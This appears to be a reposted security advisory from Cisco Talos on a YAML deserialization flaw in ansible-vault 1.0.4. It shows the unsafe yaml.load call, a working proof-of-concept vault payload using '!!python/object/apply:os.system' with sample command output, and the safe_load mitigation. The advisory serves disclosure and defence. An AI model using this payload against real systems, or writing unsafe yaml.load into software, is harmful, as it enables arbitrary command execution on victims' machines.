ansible-vault Yaml Load Code Execution Vulnerability

ID SSV:96592
Type seebug
Reporter Root
Modified 2017-09-27T00:00:00


Summary An exploitable vulnerability exists in the yaml loading functionality of ansible-vault. A specially crafted vault can execute arbitrary python commands resulting in command execution. An attacker can insert python into the vault to trigger this vulnerability. Tested Versions ansible-vault 1.0.4 Product URLs CVSSv3 Score 7.5 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H CWE CWE-502 - Deserialization of Untrusted Data

Details Ansible provides an easy solution for automating IT and network based tasks. The 3rd party python module, ansible-vault provides an encrypted format to contain potential secrets related to the automation.

```python class Vault(object): '''R/W an ansible-vault yaml file'''

def __init__(self, password):
    self.password = password
    self.vault = VaultLib(password)

def load(self, stream):
    '''read vault steam and return python object'''
    return yaml.load(self.vault.decrypt(stream)) [0]


ansible-vault is leveraging the unsafe API yaml.load [0] for loading the yaml it decrypts. This yaml can contain a python directive to execute arbitrary commands.

Exploit Proof-of-Concept An example vault is shown below that, when loaded, will execute an arbitary command: $ ansible-vault view pwned Vault password: !!python/object/apply:os.system ["echo 'Hi from Talos!'; id; uname -a"] A quick test leveraging the ansible-vault API shows the commands being executed:

``` (ansible) user in ~ $ ipython In [1]: from ansible_vault import Vault In [2]: v = Vault('password') In [3]: v.load(open('pwned').read())

Hi from Talos! uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),113(sambashare) Linux fuzz0 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ```

Mitigation Replace yaml.load with yaml.safe_load Timeline 2017-04-07 - Vendor Disclosure 2017-09-14 - Public Release CREDIT Discovered by Cory Duplantis of Cisco Talos. Talos would also like to thank Dylan Ayrey for his collaboration.